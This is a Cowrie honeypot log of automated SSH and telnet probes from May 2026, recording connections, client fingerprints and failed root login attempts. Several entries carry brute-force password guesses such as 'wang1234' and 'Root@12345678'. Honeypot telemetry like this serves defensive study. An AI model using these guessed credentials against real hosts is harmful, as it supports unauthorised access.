{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:de:a5:5e:f7:e7:3e:5e:31:a3:ee:72:cb:1e:87:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUTFGV7Ed6PpbJRZxJUEAjtwgd1098VMcnepK2Zy4VexB+RkD9l/5hSh6KSdqFWQeAaJhxDz6EpEIFRIZzx6L2ntzSbvFapEHul+UuLprRfr26ucnSL8uFy7YUQdPZF62CRn53OcrVC7biLiSSuBN16emMbGvT0Y+2pDfWyVyatUqFwLhf0jcvMnVA/+UlWgLqPbEFFxrqemVPqDTdyY8NlsOEixunhGMYhQuDmVQJnVkIiuDDR/fRHsWQCIxUmvdGoKC0D2kKNi7EstrnjsPpPt4uYW4QpSUevOOi6TBFX9ADN2o1FAqe+SP0+B/W3LE41fcgymRt3BToAYNbUYESHHOHXJDwzOZieItHrg7LeY2ZvqLU36NqO5S5EihykyQRrCC0mck9q5K/urK/pqNQbJC/mlKn19hiBVKr+HrJVUr/S3SUf92RlEw/i+yeb0OCoxWlL9yx6LDQNO5bsjq4JTz9za1o6Hk5Rt8celE4hBx9mutIlmmgJ5ppYKAkJU/EDU4XtiGd47U/pvQeV3rPo6EyPpEjhS3Ys9V/yz64VV6+gQjLz/L9zFEIyO7ykkuC7nOhIb5nHY4OzCcymwxeW8cpmUU4QRuxMF7aUw79gWLwdjObQBzVfIkiPDBZt7mlV/8BYTZ7XJue2cqdJYyNMSBwDEfwCEdX0EOGe9n14Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:de:a5:5e:f7:e7:3e:5e:31:a3:ee:72:cb:1e:87:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:32.349191Z","src_ip":"45.156.223.71","session":"db9693799f63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:de:a5:5e:f7:e7:3e:5e:31:a3:ee:72:cb:1e:87:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUTFGV7Ed6PpbJRZxJUEAjtwgd1098VMcnepK2Zy4VexB+RkD9l/5hSh6KSdqFWQeAaJhxDz6EpEIFRIZzx6L2ntzSbvFapEHul+UuLprRfr26ucnSL8uFy7YUQdPZF62CRn53OcrVC7biLiSSuBN16emMbGvT0Y+2pDfWyVyatUqFwLhf0jcvMnVA/+UlWgLqPbEFFxrqemVPqDTdyY8NlsOEixunhGMYhQuDmVQJnVkIiuDDR/fRHsWQCIxUmvdGoKC0D2kKNi7EstrnjsPpPt4uYW4QpSUevOOi6TBFX9ADN2o1FAqe+SP0+B/W3LE41fcgymRt3BToAYNbUYESHHOHXJDwzOZieItHrg7LeY2ZvqLU36NqO5S5EihykyQRrCC0mck9q5K/urK/pqNQbJC/mlKn19hiBVKr+HrJVUr/S3SUf92RlEw/i+yeb0OCoxWlL9yx6LDQNO5bsjq4JTz9za1o6Hk5Rt8celE4hBx9mutIlmmgJ5ppYKAkJU/EDU4XtiGd47U/pvQeV3rPo6EyPpEjhS3Ys9V/yz64VV6+gQjLz/L9zFEIyO7ykkuC7nOhIb5nHY4OzCcymwxeW8cpmUU4QRuxMF7aUw79gWLwdjObQBzVfIkiPDBZt7mlV/8BYTZ7XJue2cqdJYyNMSBwDEfwCEdX0EOGe9n14Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:32.353286Z","src_ip":"45.156.223.71","session":"db9693799f63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:32.449920Z","src_ip":"45.156.223.71","session":"db9693799f63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:32.705778Z","src_ip":"80.66.85.226","session":"fa50f4e6fda4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.662181615829468,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:38.779197Z","src_ip":"69.4.83.194","session":"8dec77b5ef4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":36898,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc04a59c8189","protocol":"ssh","message":"New connection: 185.236.22.41:36898 (10.17.0.5:22) [session: dc04a59c8189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:42.270608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:42.276064Z","src_ip":"185.236.22.41","session":"dc04a59c8189","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:42.386407Z","src_ip":"185.236.22.41","session":"dc04a59c8189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:42.707200Z","src_ip":"185.236.22.41","session":"dc04a59c8189","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:43.817057Z","src_ip":"185.236.22.41","session":"dc04a59c8189","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.24586009979248,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:57.079324Z","src_ip":"69.4.83.194","session":"c38f34546a9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":53078,"dst_ip":"159.203.135.109","dst_port":23,"session":"f677961d13f6","protocol":"telnet","message":"New connection: 69.4.83.194:53078 (159.203.135.109:23) [session: f677961d13f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:09:57.505397Z"}
{"eventid":"cowrie.session.closed","duration":32.62750840187073,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:10:03.225931Z","src_ip":"69.4.83.194","session":"f57acb6caf14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":38480,"dst_ip":"10.17.0.5","dst_port":22,"session":"999363da4cde","protocol":"ssh","message":"New connection: 88.147.30.59:38480 (10.17.0.5:22) [session: 999363da4cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:10:08.335027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:10:08.342700Z","src_ip":"88.147.30.59","session":"999363da4cde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:10:08.468111Z","src_ip":"88.147.30.59","session":"999363da4cde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wang1234","message":"login attempt [root/wang1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:10:08.968107Z","src_ip":"88.147.30.59","session":"999363da4cde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:10:10.095333Z","src_ip":"88.147.30.59","session":"999363da4cde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:10:20.719546Z","src_ip":"89.223.69.22","session":"0972c406f171","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":52562,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b382f0fd2c7","protocol":"ssh","message":"New connection: 103.149.170.125:52562 (10.17.0.5:22) [session: 6b382f0fd2c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:10:29.388204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:10:29.393872Z","src_ip":"103.149.170.125","session":"6b382f0fd2c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:10:29.660109Z","src_ip":"103.149.170.125","session":"6b382f0fd2c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oleg1234","message":"login attempt [root/oleg1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:10:30.473311Z","src_ip":"103.149.170.125","session":"6b382f0fd2c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.0480797290802,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:10:31.553367Z","src_ip":"69.4.83.194","session":"f677961d13f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:10:31.743032Z","src_ip":"103.149.170.125","session":"6b382f0fd2c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":45626,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac20b464fb2b","protocol":"telnet","message":"New connection: 178.128.93.180:45626 (10.17.0.5:23) [session: ac20b464fb2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:10:58.523392Z"}
{"eventid":"cowrie.session.closed","duration":120.02576279640198,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:11:26.041538Z","src_ip":"179.26.108.79","session":"1db7e3e0418d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":59798,"dst_ip":"159.203.135.109","dst_port":23,"session":"52cba944830c","protocol":"telnet","message":"New connection: 69.4.83.194:59798 (159.203.135.109:23) [session: 52cba944830c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:11:31.091087Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33892,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e943da86bdb","protocol":"telnet","message":"New connection: 69.4.83.194:33892 (159.203.135.109:23) [session: 2e943da86bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:11:38.145494Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":35430,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4d168b81bcd","protocol":"telnet","message":"New connection: 69.4.83.194:35430 (159.203.135.109:23) [session: e4d168b81bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:11:41.274646Z"}
{"eventid":"cowrie.session.closed","duration":56.78569936752319,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:11:55.308981Z","src_ip":"178.128.93.180","session":"ac20b464fb2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":41810,"dst_ip":"159.203.135.109","dst_port":23,"session":"26df84446291","protocol":"telnet","message":"New connection: 69.4.83.194:41810 (159.203.135.109:23) [session: 26df84446291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:11:59.183846Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40850,"dst_ip":"159.203.135.109","dst_port":23,"session":"567ed08d2be5","protocol":"telnet","message":"New connection: 69.4.83.194:40850 (159.203.135.109:23) [session: 567ed08d2be5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:11:59.555090Z"}
{"eventid":"cowrie.session.closed","duration":33.94559574127197,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:05.036554Z","src_ip":"69.4.83.194","session":"52cba944830c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.88980984687805,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:13.035202Z","src_ip":"69.4.83.194","session":"2e943da86bdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.01555562019348,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:14.290107Z","src_ip":"69.4.83.194","session":"e4d168b81bcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":40166,"dst_ip":"10.17.0.5","dst_port":22,"session":"beea729b7004","protocol":"ssh","message":"New connection: 88.147.30.59:40166 (10.17.0.5:22) [session: beea729b7004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:24.717598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:24.726986Z","src_ip":"88.147.30.59","session":"beea729b7004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:24.841634Z","src_ip":"88.147.30.59","session":"beea729b7004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@12345678","message":"login attempt [root/Root@12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:25.337362Z","src_ip":"88.147.30.59","session":"beea729b7004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:26.455202Z","src_ip":"88.147.30.59","session":"beea729b7004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":46966,"dst_ip":"159.203.135.109","dst_port":23,"session":"b23b7e7f7d49","protocol":"telnet","message":"New connection: 79.139.59.21:46966 (159.203.135.109:23) [session: b23b7e7f7d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:31.869968Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":55170,"dst_ip":"10.17.0.5","dst_port":22,"session":"702cf294b10b","protocol":"ssh","message":"New connection: 62.133.62.83:55170 (10.17.0.5:22) [session: 702cf294b10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:33.711511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:33.717399Z","src_ip":"62.133.62.83","session":"702cf294b10b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:33.797838Z","src_ip":"62.133.62.83","session":"702cf294b10b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnq","message":"login attempt [root/zxcvbnq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:34.035758Z","src_ip":"62.133.62.83","session":"702cf294b10b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.35461091995239,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:34.538323Z","src_ip":"69.4.83.194","session":"26df84446291","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.53188514709473,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:35.086878Z","src_ip":"69.4.83.194","session":"567ed08d2be5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:35.117730Z","src_ip":"62.133.62.83","session":"702cf294b10b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":60340,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3a1b8803ecb","protocol":"telnet","message":"New connection: 69.4.83.194:60340 (159.203.135.109:23) [session: e3a1b8803ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:50.311819Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":35746,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab6e4f7baecb","protocol":"ssh","message":"New connection: 147.45.211.215:35746 (159.203.135.109:22) [session: ab6e4f7baecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:54.242590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:12:54.247958Z","src_ip":"147.45.211.215","session":"ab6e4f7baecb","protocol":"ssh"}
